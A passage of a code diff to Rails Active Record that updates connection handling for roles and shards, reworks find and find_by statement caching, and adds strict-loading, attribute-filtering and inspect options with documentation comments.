+      connection_handler.retrieve_connection_pool(connection_specification_name, role: current_role, shard: current_shard, strict: true)
     end
 
     def retrieve_connection
-      connection_handler.retrieve_connection(connection_specification_name)
+      connection_handler.retrieve_connection(connection_specification_name, role: current_role, shard: current_shard)
     end
 
     # Returns +true+ if Active Record is connected.
     def connected?
-      connection_handler.connected?(connection_specification_name)
+      connection_handler.connected?(connection_specification_name, role: current_role, shard: current_shard)
     end
 
-    def remove_connection(name = nil)
-      name ||= @connection_specification_name if defined?(@connection_specification_name)
+    def remove_connection
+      name = @connection_specification_name if defined?(@connection_specification_name)
+
       # if removing a connection that has a pool, we reset the
       # connection_specification_name so it will use the parent
       # pool.
-      if connection_handler.retrieve_connection_pool(name)
+      if connection_handler.retrieve_connection_pool(name, role: current_role, shard: current_shard)
         self.connection_specification_name = nil
       end
 
-      connection_handler.remove_connection(name)
+      connection_handler.remove_connection_pool(name, role: current_role, shard: current_shard)
+    end
+
+    def schema_cache # :nodoc:
+      connection_pool.schema_cache
     end
 
     def clear_cache! # :nodoc:
-      connection.schema_cache.clear!
+      connection_pool.schema_cache.clear!
+    end
+
+    def shard_keys
+      connection_class_for_self.instance_variable_get(:@shard_keys) || []
+    end
+
+    def sharded?
+      shard_keys.any?
     end
 
-    delegate :clear_active_connections!, :clear_reloadable_connections!,
-      :clear_all_connections!, to: :connection_handler
+    private
+      def resolve_config_for_connection(config_or_env)
+        raise "Anonymous class is not allowed." unless name
+
+        connection_name = primary_class? ? Base.name : name
+        self.connection_specification_name = connection_name
+
+        Base.configurations.resolve(config_or_env)
+      end
+
+      def with_role_and_shard(role, shard, prevent_writes)
+        prevent_writes = true if role == ActiveRecord.reading_role
+
+        append_to_connected_to_stack(role: role, shard: shard, prevent_writes: prevent_writes, klasses: [self])
+        begin
+          return_value = yield
+          return_value.load if return_value.is_a? ActiveRecord::Relation
+          return_value
+        ensure
+          self.connected_to_stack.pop
+        end
+      end
+
+      def append_to_connected_to_stack(entry)
+        if entry[:shard].present? && entry[:klasses].any?(&:shard_swapping_prohibited?)
+          raise ShardSwapProhibitedError, "cannot swap `shard` while shard swapping is prohibited."
+        end
+
+        connected_to_stack << entry
+      end
   end
 end
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index 0028dc0edb4c9..2afcd38cbcd81 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -1,238 +1,340 @@
-require "thread"
-require "active_support/core_ext/hash/indifferent_access"
-require "active_support/core_ext/object/duplicable"
-require "active_support/core_ext/string/filters"
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+require "active_support/parameter_filter"
+require "concurrent/map"
 
 module ActiveRecord
+  # = Active Record \Core
   module Core
     extend ActiveSupport::Concern
+    include ActiveModel::Access
 
     included do
       ##
       # :singleton-method:
       #
-      # Accepts a logger conforming to the interface of Log4r which is then
-      # passed on to any new database connections made and which can be
-      # retrieved on both a class and instance level by calling +logger+.
-      mattr_accessor :logger, instance_writer: false
+      # Accepts a logger conforming to the interface of Log4r or the default
+      # Ruby +Logger+ class, which is then passed on to any new database
+      # connections made. You can retrieve this logger by calling +logger+ on
+      # either an Active Record model class or an Active Record model instance.
+      class_attribute :logger, instance_writer: false
+
+      class_attribute :_destroy_association_async_job, instance_accessor: false, default: "ActiveRecord::DestroyAssociationAsyncJob"
+
+      # The job class used to destroy associations in the background.
+      def self.destroy_association_async_job
+        if _destroy_association_async_job.is_a?(String)
+          self._destroy_association_async_job = _destroy_association_async_job.constantize
+        end
+        _destroy_association_async_job
+      rescue NameError => error
+        raise NameError, "Unable to load destroy_association_async_job: #{error.message}"
+      end
+
+      singleton_class.alias_method :destroy_association_async_job=, :_destroy_association_async_job=
+      delegate :destroy_association_async_job, to: :class
+
+      ##
+      # :singleton-method:
+      #
+      # Specifies the maximum number of records that will be destroyed in a
+      # single background job by the <tt>dependent: :destroy_async</tt>
+      # association option. When +nil+ (default), all dependent records will be
+      # destroyed in a single background job. If specified, the records to be
+      # destroyed will be split into multiple background jobs.
+      class_attribute :destroy_association_async_batch_size, instance_writer: false, instance_predicate: false, default: nil
 
       ##
       # Contains the database configuration - as is typically stored in config/database.yml -
-      # as a Hash.
+      # as an ActiveRecord::DatabaseConfigurations object.
       #
       # For example, the following database.yml...
       #
       #   development:
       #     adapter: sqlite3
-      #     database: db/development.sqlite3
+      #     database: storage/development.sqlite3
       #
       #   production:
       #     adapter: sqlite3
-      #     database: db/production.sqlite3
+      #     database: storage/production.sqlite3
       #
       # ...would result in ActiveRecord::Base.configurations to look like this:
       #
-      #   {
-      #      'development' => {
-      #         'adapter'  => 'sqlite3',
-      #         'database' => 'db/development.sqlite3'
-      #      },
-      #      'production' => {
-      #         'adapter'  => 'sqlite3',
-      #         'database' => 'db/production.sqlite3'
-      #      }
-      #   }
+      #   #<ActiveRecord::DatabaseConfigurations:0x00007fd1acbdf800 @configurations=[
+      #     #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbded10 @env_name="development",
+      #       @name="primary", @config={adapter: "sqlite3", database: "storage/development.sqlite3"}>,
+      #     #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbdea90 @env_name="production",
+      #       @name="primary", @config={adapter: "sqlite3", database: "storage/production.sqlite3"}>
+      #   ]>
       def self.configurations=(config)
-        @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+        @@configurations = ActiveRecord::DatabaseConfigurations.new(config)
       end
       self.configurations = {}
 
-      # Returns fully resolved configurations hash
+      # Returns a fully resolved ActiveRecord::DatabaseConfigurations object.
       def self.configurations
         @@configurations
       end
 
       ##
       # :singleton-method:
-      # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
-      # dates and times from the database. This is set to :utc by default.
-      mattr_accessor :default_timezone, instance_writer: false
-      self.default_timezone = :utc
+      # Force enumeration of all columns in SELECT statements.
+      # e.g. <tt>SELECT first_name, last_name FROM ...</tt> instead of <tt>SELECT * FROM ...</tt>
+      # This avoids +PreparedStatementCacheExpired+ errors when a column is added
+      # to the database while the app is running.
+      class_attribute :enumerate_columns_in_select_statements, instance_accessor: false, default: false
 
-      ##
-      # :singleton-method:
-      # Specifies the format to use when dumping the database schema with Rails'
-      # Rakefile. If :sql, the schema is dumped as (potentially database-
-      # specific) SQL statements. If :ruby, the schema is dumped as an
-      # ActiveRecord::Schema file which can be loaded into any database that
-      # supports migrations. Use :ruby if you want to have different database
-      # adapters for, e.g., your development and test environments.
-      mattr_accessor :schema_format, instance_writer: false
-      self.schema_format = :ruby
+      class_attribute :belongs_to_required_by_default, instance_accessor: false
+
+      class_attribute :strict_loading_by_default, instance_accessor: false, default: false
+      class_attribute :strict_loading_mode, instance_accessor: false, default: :all
+
+      class_attribute :has_many_inversing, instance_accessor: false, default: false
+
+      class_attribute :run_commit_callbacks_on_first_saved_instances_in_transaction, instance_accessor: false, default: true
+
+      class_attribute :default_connection_handler, instance_writer: false
+
+      class_attribute :default_role, instance_writer: false
+
+      class_attribute :default_shard, instance_writer: false
+
+      class_attribute :shard_selector, instance_accessor: false, default: nil
 
       ##
       # :singleton-method:
-      # Specifies if an error should be raised if the query has an order being
-      # ignored when doing batch queries. Useful in applications where the
-      # scope being ignored is error-worthy, rather than a warning.
-      mattr_accessor :error_on_ignored_order, instance_writer: false
-      self.error_on_ignored_order = false
+      #
+      # Specifies the attributes that will be included in the output of the
+      # #inspect method:
+      #
+      #   Post.attributes_for_inspect = [:id, :title]
+      #   Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!">"
+      #
+      # When set to +:all+ inspect will list all the record's attributes:
+      #
+      #   Post.attributes_for_inspect = :all
+      #   Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"
+      class_attribute :attributes_for_inspect, instance_accessor: false, default: :all
 
-      def self.error_on_ignored_order_or_limit
-        ActiveSupport::Deprecation.warn(<<-MSG.squish)
-          The flag error_on_ignored_order_or_limit is deprecated. Limits are
-          now supported. Please use error_on_ignored_order instead.
-        MSG
-        error_on_ignored_order
+      def self.application_record_class? # :nodoc:
+        if ActiveRecord.application_record_class
+          self == ActiveRecord.application_record_class
+        else
+          if defined?(ApplicationRecord) && self == ApplicationRecord
+            true
+          end
+        end
       end
 
-      def error_on_ignored_order_or_limit
-        self.class.error_on_ignored_order_or_limit
+      self.filter_attributes = []
+
+      def self.connection_handler
+        ActiveSupport::IsolatedExecutionState[:active_record_connection_handler] || default_connection_handler
       end
 
-      def self.error_on_ignored_order_or_limit=(value)
-        ActiveSupport::Deprecation.warn(<<-MSG.squish)
-          The flag error_on_ignored_order_or_limit is deprecated. Limits are
-          now supported. Please use error_on_ignored_order= instead.
-        MSG
-        self.error_on_ignored_order = value
+      def self.connection_handler=(handler)
+        ActiveSupport::IsolatedExecutionState[:active_record_connection_handler] = handler
       end
 
-      ##
-      # :singleton-method:
-      # Specify whether or not to use timestamps for migration versions
-      mattr_accessor :timestamped_migrations, instance_writer: false
-      self.timestamped_migrations = true
+      def self.asynchronous_queries_session # :nodoc:
+        asynchronous_queries_tracker.current_session
+      end
 
-      ##
-      # :singleton-method:
-      # Specify whether schema dump should happen at the end of the
-      # db:migrate rake task. This is true by default, which is useful for the
-      # development environment. This should ideally be false in the production
-      # environment where dumping schema is rarely needed.
-      mattr_accessor :dump_schema_after_migration, instance_writer: false
-      self.dump_schema_after_migration = true
+      def self.asynchronous_queries_tracker # :nodoc:
+        ActiveSupport::IsolatedExecutionState[:active_record_asynchronous_queries_tracker] ||= \
+          AsynchronousQueriesTracker.new
+      end
 
-      ##
-      # :singleton-method:
-      # Specifies which database schemas to dump when calling db:structure:dump.
-      # If the value is :schema_search_path (the default), any schemas listed in
-      # schema_search_path are dumped. Use :all to dump all schemas regardless
-      # of schema_search_path, or a string of comma separated schemas for a
-      # custom list.
-      mattr_accessor :dump_schemas, instance_writer: false
-      self.dump_schemas = :schema_search_path
+      # Returns the symbol representing the current connected role.
+      #
+      #   ActiveRecord::Base.connected_to(role: :writing) do
+      #     ActiveRecord::Base.current_role #=> :writing
+      #   end
+      #
+      #   ActiveRecord::Base.connected_to(role: :reading) do
+      #     ActiveRecord::Base.current_role #=> :reading
+      #   end
+      def self.current_role
+        connected_to_stack.reverse_each do |hash|
+          return hash[:role] if hash[:role] && hash[:klasses].include?(Base)
+          return hash[:role] if hash[:role] && hash[:klasses].include?(connection_class_for_self)
+        end
 
-      ##
-      # :singleton-method:
-      # Specify a threshold for the size of query result sets. If the number of
-      # records in the set exceeds the threshold, a warning is logged. This can
-      # be used to identify queries which load thousands of records and
-      # potentially cause memory bloat.
-      mattr_accessor :warn_on_records_fetched_greater_than, instance_writer: false
-      self.warn_on_records_fetched_greater_than = nil
+        default_role
+      end
 
-      mattr_accessor :maintain_test_schema, instance_accessor: false
+      # Returns the symbol representing the current connected shard.
+      #
+      #   ActiveRecord::Base.connected_to(role: :reading) do
+      #     ActiveRecord::Base.current_shard #=> :default
+      #   end
+      #
+      #   ActiveRecord::Base.connected_to(role: :writing, shard: :one) do
+      #     ActiveRecord::Base.current_shard #=> :one
+      #   end
+      def self.current_shard
+        connected_to_stack.reverse_each do |hash|
+          return hash[:shard] if hash[:shard] && hash[:klasses].include?(Base)
+          return hash[:shard] if hash[:shard] && hash[:klasses].include?(connection_class_for_self)
+        end
 
-      mattr_accessor :belongs_to_required_by_default, instance_accessor: false
+        default_shard
+      end
 
-      class_attribute :default_connection_handler, instance_writer: false
+      # Returns the symbol representing the current setting for
+      # preventing writes.
+      #
+      #   ActiveRecord::Base.connected_to(role: :reading) do
+      #     ActiveRecord::Base.current_preventing_writes #=> true
+      #   end
+      #
+      #   ActiveRecord::Base.connected_to(role: :writing) do
+      #     ActiveRecord::Base.current_preventing_writes #=> false
+      #   end
+      def self.current_preventing_writes
+        connected_to_stack.reverse_each do |hash|
+          return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(Base)
+          return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(connection_class_for_self)
+        end
 
-      def self.connection_handler
-        ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler
+        false
       end
 
-      def self.connection_handler=(handler)
-        ActiveRecord::RuntimeRegistry.connection_handler = handler
+      # Intended to behave like `.current_preventing_writes` given the class name as input.
+      # See PoolConfig and ConnectionHandler::ConnectionDescriptor.
+      def self.preventing_writes?(class_name) # :nodoc:
+        connected_to_stack.reverse_each do |hash|
+          return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(Base)
+          return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].any? { |klass| klass.name == class_name }
+        end
+
+        false
       end
 
-      self.default_connection_handler = ConnectionAdapters::ConnectionHandler.new
-    end
+      def self.connected_to_stack # :nodoc:
+        if connected_to_stack = ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack]
+          connected_to_stack
+        else
+          connected_to_stack = Concurrent::Array.new
+          ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack] = connected_to_stack
+          connected_to_stack
+        end
+      end
 
-    module ClassMethods
-      def allocate
-        define_attribute_methods
-        super
+      def self.connection_class=(b) # :nodoc:
+        @connection_class = b
       end
 
-      def initialize_find_by_cache # :nodoc:
-        @find_by_statement_cache = { true => {}.extend(Mutex_m), false => {}.extend(Mutex_m) }
+      def self.connection_class # :nodoc:
+        @connection_class ||= false
       end
 
-      def inherited(child_class) # :nodoc:
-        # initialize cache at class definition for thread safety
-        child_class.initialize_find_by_cache
-        super
+      def self.connection_class? # :nodoc:
+        self.connection_class
+      end
+
+      def self.connection_class_for_self # :nodoc:
+        klass = self
+
+        until klass == Base
+          break if klass.connection_class?
+          klass = klass.superclass
+        end
+
+        klass
+      end
+
+      self.default_connection_handler = ConnectionAdapters::ConnectionHandler.new
+      self.default_role = ActiveRecord.writing_role
+      self.default_shard = :default
+
+      def self.strict_loading_violation!(owner:, reflection:) # :nodoc:
+        case ActiveRecord.action_on_strict_loading_violation
+        when :raise
+          message = reflection.strict_loading_violation_message(owner)
+          raise ActiveRecord::StrictLoadingViolationError.new(message)
+        when :log
+          name = "strict_loading_violation.active_record"
+          ActiveSupport::Notifications.instrument(name, owner: owner, reflection: reflection)
+        end
+      end
+    end
+
+    module ClassMethods
+      def initialize_find_by_cache # :nodoc:
+        @find_by_statement_cache = { true => Concurrent::Map.new, false => Concurrent::Map.new }
       end
 
       def find(*ids) # :nodoc:
         # We don't have cache keys for this stuff yet
         return super unless ids.length == 1
-        return super if block_given? ||
-                        primary_key.nil? ||
-                        scope_attributes? ||
-                        columns_hash.include?(inheritance_column)
+        return super if block_given? || primary_key.nil? || scope_attributes?
 
         id = ids.first
 
-        return super if id.kind_of?(Array) ||
-                         id.is_a?(ActiveRecord::Base)
+        return super if StatementCache.unsupported_value?(id)
 
-        key = primary_key
-
-        statement = cached_find_by_statement(key) { |params|
-          where(key => params.bind).limit(1)
-        }
-
-        record = statement.execute([id], self, connection).first
-        unless record
-          raise RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}",
-                                   name, primary_key, id)
-        end
-        record
-      rescue ::RangeError
-        raise RecordNotFound.new("Couldn't find #{name} with an out of range value for '#{primary_key}'",
-                                 name, primary_key)
+        cached_find_by([primary_key], [id]) ||
+          raise(RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id.inspect}", name, primary_key, id))
       end
 
       def find_by(*args) # :nodoc:
-        return super if scope_attributes? || reflect_on_all_aggregations.any?
+        return super if scope_attributes?
 
         hash = args.first
+        return super unless Hash === hash
+
+        hash = hash.each_with_object({}) do |(key, value), h|
+          key = key.to_s
+          key = attribute_aliases[key] || key
+
+          return super if reflect_on_aggregation(key)
+
+          reflection = _reflect_on_association(key)
+
+          if !reflection
+            value = value.id if value.respond_to?(:id)
+          elsif reflection.belongs_to? && !reflection.polymorphic?
+            key = reflection.join_foreign_key
+            pkey = reflection.join_primary_key
+
+            if pkey.is_a?(Array)
+              if pkey.all? { |attribute| value.respond_to?(attribute) }
+                value = pkey.map do |attribute|
+                  if attribute == "id"
+                    value.id_value
+                  else
+                    value.public_send(attribute)
+                  end
+                end
+                composite_primary_key = true
+              end
+            else
+              value = value.public_send(pkey) if value.respond_to?(pkey)
+            end
+          end
+
+          if !composite_primary_key &&
+            (!columns_hash.key?(key) || StatementCache.unsupported_value?(value))
+            return super
+          end
 
-        return super if !(Hash === hash) || hash.values.any? { |v|
-          v.nil? || Array === v || Hash === v || Relation === v || Base === v
-        }
-
-        # We can't cache Post.find_by(author: david) ...yet
-        return super unless hash.keys.all? { |k| columns_hash.has_key?(k.to_s) }
-
-        keys = hash.keys
-
-        statement = cached_find_by_statement(keys) { |params|
-          wheres = keys.each_with_object({}) { |param, o|
-            o[param] = params.bind
-          }
-          where(wheres).limit(1)
-        }
-        begin
-          statement.execute(hash.values, self, connection).first
-        rescue TypeError
-          raise ActiveRecord::StatementInvalid
-        rescue ::RangeError
-          nil
+          h[key] = value
         end
+
+        cached_find_by(hash.keys, hash.values)
       end
 
       def find_by!(*args) # :nodoc:
-        find_by(*args) || raise(RecordNotFound.new("Couldn't find #{name}", name))
+        find_by(*args) || where(*args).raise_record_not_found_exception!
       end
 
       def initialize_generated_modules # :nodoc:
         generated_association_methods
       end
 
-      def generated_association_methods
+      def generated_association_methods # :nodoc:
         @generated_association_methods ||= begin
           mod = const_set(:GeneratedAssociationMethods, Module.new)
           private_constant :GeneratedAssociationMethods
@@ -242,14 +344,42 @@ def generated_association_methods
         end
       end
 
+      # Returns columns which shouldn't be exposed while calling +#inspect+.
+      def filter_attributes
+        if @filter_attributes.nil?
+          superclass.filter_attributes
+        else
+          @filter_attributes
+        end
+      end
+
+      # Specifies columns which shouldn't be exposed while calling +#inspect+.
+      def filter_attributes=(filter_attributes)
+        @inspection_filter = nil
+        @filter_attributes = filter_attributes
+
+        FilterAttributeHandler.sensitive_attribute_was_declared(self, filter_attributes)
+      end
+
+      def inspection_filter # :nodoc:
+        if @filter_attributes.nil?
+          superclass.inspection_filter
+        else
+          @inspection_filter ||= begin
+            mask = InspectionMask.new(ActiveSupport::ParameterFilter::FILTERED)
+            ActiveSupport::ParameterFilter.new(@filter_attributes, mask: mask)
+          end
+        end
+      end
+
       # Returns a string like 'Post(id:integer, title:string, body:text)'
-      def inspect
-        if self == Base
+      def inspect # :nodoc:
+        if self == Base || singleton_class?
           super
         elsif abstract_class?
           "#{super}(abstract)"
-        elsif !connected?
-          "#{super} (call '#{super}.connection' to establish a connection)"
+        elsif !schema_loaded? && !connected?
+          "#{super} (call '#{super}.load_schema' to load schema informations)"
         elsif table_exists?
           attr_list = attribute_types.map { |name, type| "#{name}: #{type.type}" } * ", "
           "#{super}(#{attr_list})"
@@ -258,64 +388,76 @@ def inspect
         end
       end
 
-      # Overwrite the default class equality method to provide support for association proxies.
-      def ===(object)
-        object.is_a?(self)
-      end
-
-      # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
-      #
-      #   class Post < ActiveRecord::Base
-      #     scope :published_and_commented, -> { published.and(arel_table[:comments_count].gt(0)) }
-      #   end
+      # Returns an instance of +Arel::Table+ loaded with the current table name.
       def arel_table # :nodoc:
-        @arel_table ||= Arel::Table.new(table_name, type_caster: type_caster)
-      end
-
-      # Returns the Arel engine.
-      def arel_engine # :nodoc:
-        @arel_engine ||=
-          if Base == self || connection_handler.retrieve_connection_pool(connection_specification_name)
-            self
-          else
-            superclass.arel_engine
-          end
-      end
-
-      def arel_attribute(name, table = arel_table) # :nodoc:
-        name = attribute_alias(name) if attribute_alias?(name)
-        table[name]
+        @arel_table ||= Arel::Table.new(table_name, klass: self)
       end
 
       def predicate_builder # :nodoc:
-        @predicate_builder ||= PredicateBuilder.new(table_metadata)
+        @predicate_builder ||= PredicateBuilder.new(TableMetadata.new(self, arel_table))
       end
 
       def type_caster # :nodoc:
         TypeCaster::Map.new(self)
       end
 
+      def cached_find_by_statement(connection, key, &block) # :nodoc:
+        cache = @find_by_statement_cache[connection.prepared_statements]
+        cache.compute_if_absent(key) { StatementCache.create(connection, &block) }
+      end
+
       private
+        def inherited(subclass)
+          super
+
+          # initialize cache at class definition for thread safety
+          subclass.initialize_find_by_cache
+          unless subclass.base_class?
+            klass = self
+            until klass.base_class?
+              klass.initialize_find_by_cache
+              klass = klass.superclass
+            end
+          end
 
-        def cached_find_by_statement(key, &block)
-          cache = @find_by_statement_cache[connection.prepared_statements]
-          cache[key] || cache.synchronize {
-            cache[key] ||= StatementCache.create(connection, &block)
-          }
+          subclass.class_eval do
+            @arel_table = nil
+            @predicate_builder = nil
+            @inspection_filter = nil
+            @filter_attributes ||= nil
+            @generated_association_methods ||= nil
+          end
         end
 
         def relation
-          relation = Relation.create(self, arel_table, predicate_builder)
+          relation = Relation.create(self)
 
           if finder_needs_type_condition? && !ignore_default_scope?
-            relation.where(type_condition).create_with(inheritance_column.to_s => sti_name)
+            relation.where!(type_condition)
           else
             relation
           end
         end
 
-        def table_metadata
-          TableMetadata.new(self, arel_table)
+        def cached_find_by(keys, values)
+          with_connection do |connection|
+            statement = cached_find_by_statement(connection, keys) { |params|
+              wheres = keys.index_with do |key|
+                if key.is_a?(Array)
+                  [key.map { params.bind }]
+                else
+                  params.bind
+                end
+              end
+              where(wheres).limit(1)
+            }
+
+            statement.execute(values.flatten, connection).then do |r|
+              r.first
+            rescue TypeError
+              raise ActiveRecord::StatementInvalid
+            end
+          end
         end
     end
 
@@ -324,17 +466,17 @@ def table_metadata
     # In both instances, valid attribute keys are determined by the column names of the associated table --
     # hence you can't have attributes that aren't part of the table columns.
     #
-    # ==== Example:
+    # ==== Example
     #   # Instantiates a single new object
     #   User.new(first_name: 'Jamie')
     def initialize(attributes = nil)
-      self.class.define_attribute_methods
+      @new_record = true
       @attributes = self.class._default_attributes.deep_dup
 
       init_internals
       initialize_internals_callback
 
-      assign_attributes(attributes) if attributes
+      super
 
       yield self if block_given?
       _run_initialize_callbacks
@@ -354,15 +496,21 @@ def initialize(attributes = nil)
     #   post = Post.allocate
     #   post.init_with(coder)
     #   post.title # => 'hello world'
-    def init_with(coder)
-      coder = LegacyYamlAdapter.convert(self.class, coder)
-      @attributes = self.class.yaml_encoder.decode(coder)
-
-      init_internals
+    def init_with(coder, &block)
+      coder = LegacyYamlAdapter.convert(coder)
+      attributes = self.class.yaml_encoder.decode(coder)
+      init_with_attributes(attributes, coder["new_record"], &block)
+    end
 
-      @new_record = coder["new_record"]
+    ##
+    # Initialize an empty model object from +attributes+.
+    # +attributes+ should be an attributes object, and unlike the
+    # `initialize` method, no assignment calls are made per attribute.
+    def init_with_attributes(attributes, new_record = false) # :nodoc:
+      @new_record = new_record
+      @attributes = attributes
 
-      self.class.define_attribute_methods
+      init_internals
 
       yield self if block_given?
 
@@ -396,21 +544,35 @@ def init_with(coder)
     # only, not its associations. The extent of a "deep" copy is application
     # specific and is therefore left to the application to implement according
     # to its need.
-    # The dup method does not preserve the timestamps (created|updated)_(at|on).
+    # The dup method does not preserve the timestamps (created|updated)_(at|on)
+    # and locking column.
 
     ##
     def initialize_dup(other) # :nodoc:
-      @attributes = @attributes.deep_dup
-      @attributes.reset(self.class.primary_key)
+      @attributes = init_attributes(other)
 
       _run_initialize_callbacks
 
-      @new_record  = true
-      @destroyed   = false
+      @new_record               = true
+      @previously_new_record    = false
+      @destroyed                = false
+      @_start_transaction_state = nil
 
       super
     end
 
+    def init_attributes(_) # :nodoc:
+      attrs = @attributes.deep_dup
+
+      if self.class.composite_primary_key?
+        @primary_key.each { |key| attrs.reset(key) }
+      else
+        attrs.reset(@primary_key)
+      end
+
+      attrs
+    end
+
     # Populate +coder+ with attributes about this record that should be
     # serialized. The structure of +coder+ defined in this method is
     # guaranteed to match the structure of +coder+ passed to the #init_with
@@ -429,6 +591,35 @@ def encode_with(coder)
       coder["active_record_yaml_version"] = 2
     end
 
+    ##
+    # :method: slice
+    #
+    # :call-seq: slice(*methods)
+    #
+    # Returns a hash of the given methods with their names as keys and returned
+    # values as values.
+    #
+    #   topic = Topic.new(title: "Budget", author_name: "Jason")
+    #   topic.slice(:title, :author_name)
+    #   # => { "title" => "Budget", "author_name" => "Jason" }
+    #
+    #--
+    # Implemented by ActiveModel::Access#slice.
+
+    ##
+    # :method: values_at
+    #
+    # :call-seq: values_at(*methods)
+    #
+    # Returns an array of the values returned by the given methods.
+    #
+    #   topic = Topic.new(title: "Budget", author_name: "Jason")
+    #   topic.values_at(:title, :author_name)
+    #   # => ["Budget", "Jason"]
+    #
+    #--
+    # Implemented by ActiveModel::Access#values_at.
+
     # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
     # is of the same type and +self+ has an ID and it is equal to +comparison_object.id+.
     #
@@ -441,7 +632,7 @@ def encode_with(coder)
     def ==(comparison_object)
       super ||
         comparison_object.instance_of?(self.class) &&
-        !id.nil? &&
+        primary_key_values_present? &&
         comparison_object.id == id
     end
     alias :eql? :==
@@ -449,7 +640,9 @@ def ==(comparison_object)
     # Delegates to id in order to allow two records of the same type and id to work with something like:
     #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
     def hash
-      if id
+      id = self.id
+
+      if self.class.composite_primary_key? ? primary_key_values_present? : id
         self.class.hash ^ id.hash
       else
         super
@@ -478,13 +671,99 @@ def <=>(other_object)
       end
     end
 
-    # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
-    # attributes will be marked as read only since they cannot be saved.
+    def present? # :nodoc:
+      true
+    end
+
+    def blank? # :nodoc:
+      false
+    end
+
+    # Returns +true+ if the record is read only.
     def readonly?
       @readonly
     end
 
-    # Marks this record as read only.
+    # Returns +true+ if the record is in strict_loading mode.
+    def strict_loading?
+      @strict_loading
+    end
+
+    # Sets the record to strict_loading mode. This will raise an error
+    # if the record tries to lazily load an association.
+    #
+    # NOTE: Strict loading is disabled during validation in order to let the record validate its association.
+    #
+    #   user = User.first
+    #   user.strict_loading! # => true
+    #   user.address.city
+    #   # => ActiveRecord::StrictLoadingViolationError
+    #   user.comments.to_a
+    #   # => ActiveRecord::StrictLoadingViolationError
+    #
+    # ==== Parameters
+    #
+    # * +value+ - Boolean specifying whether to enable or disable strict loading.
+    # * <tt>:mode</tt> - Symbol specifying strict loading mode. Defaults to :all. Using
+    #   :n_plus_one_only mode will only raise an error if an association that
+    #   will lead to an n plus one query is lazily loaded.
+    #
+    # ==== Examples
+    #
+    #   user = User.first
+    #   user.strict_loading!(false) # => false
+    #   user.address.city # => "Tatooine"
+    #   user.comments.to_a # => [#<Comment:0x00...]
+    #
+    #   user.strict_loading!(mode: :n_plus_one_only)
+    #   user.address.city # => "Tatooine"
+    #   user.comments.to_a # => [#<Comment:0x00...]
+    #   user.comments.first.ratings.to_a
+    #   # => ActiveRecord::StrictLoadingViolationError
+    def strict_loading!(value = true, mode: :all)
+      unless [:all, :n_plus_one_only].include?(mode)
+        raise ArgumentError, "The :mode option must be one of [:all, :n_plus_one_only] but #{mode.inspect} was provided."
+      end
+
+      @strict_loading_mode = mode
+      @strict_loading = value
+    end
+
+    attr_reader :strict_loading_mode
+
+    # Returns +true+ if the record uses strict_loading with +:n_plus_one_only+ mode enabled.
+    def strict_loading_n_plus_one_only?
+      @strict_loading_mode == :n_plus_one_only
+    end
+
+    # Returns +true+ if the record uses strict_loading with +:all+ mode enabled.
+    def strict_loading_all?
+      @strict_loading_mode == :all
+    end
+
+    # Prevents records from being written to the database:
+    #
+    #   customer = Customer.new
+    #   customer.readonly!
+    #   customer.save # raises ActiveRecord::ReadOnlyRecord
+    #
+    #   customer = Customer.first
+    #   customer.readonly!
+    #   customer.update(name: 'New Name') # raises ActiveRecord::ReadOnlyRecord
+    #
+    # Read-only records cannot be deleted from the database either:
+    #
+    #   customer = Customer.first
+    #   customer.readonly!
+    #   customer.destroy # raises ActiveRecord::ReadOnlyRecord
+    #
+    # Please, note that the objects themselves are still mutable in memory:
+    #
+    #   customer = Customer.new
+    #   customer.readonly!
+    #   customer.name = 'New Name' # OK
+    #
+    # but you won't be able to persist the changes.
     def readonly!
       @readonly = true
     end
@@ -493,21 +772,28 @@ def connection_handler
       self.class.connection_handler
     end
 
-    # Returns the contents of the record as a nicely formatted string.
+    # Returns the attributes of the record as a nicely formatted string.
+    #
+    #   Post.first.inspect
+    #   #=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"
+    #
+    # The attributes can be limited by setting <tt>.attributes_for_inspect</tt>.
+    #
+    #   Post.attributes_for_inspect = [:id, :title]
+    #   Post.first.inspect
+    #   #=> "#<Post id: 1, title: "Hello, World!">"
     def inspect
-      # We check defined?(@attributes) not to issue warnings if the object is
-      # allocated but not initialized.
-      inspection = if defined?(@attributes) && @attributes
-        self.class.attribute_names.collect do |name|
-          if has_attribute?(name)
-            "#{name}: #{attribute_for_inspect(name)}"
-          end
-        end.compact.join(", ")
-      else
-        "not initialized"
-      end
+      inspect_with_attributes(attributes_for_inspect)
+    end
 
-      "#<#{self.class} #{inspection}>"
+    # Returns all attributes of the record as a nicely formatted string,
+    # ignoring <tt>.attributes_for_inspect</tt>.
+    #
+    #   Post.first.full_inspect
+    #   #=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"
+    #
+    def full_inspect
+      inspect_with_attributes(all_attributes_for_inspect)
     end
 
     # Takes a PP and prettily prints this record to it, allowing you to get a nice result from <tt>pp record</tt>
@@ -515,16 +801,17 @@ def inspect
     def pretty_print(pp)
       return super if custom_inspect_method_defined?
       pp.object_address_group(self) do
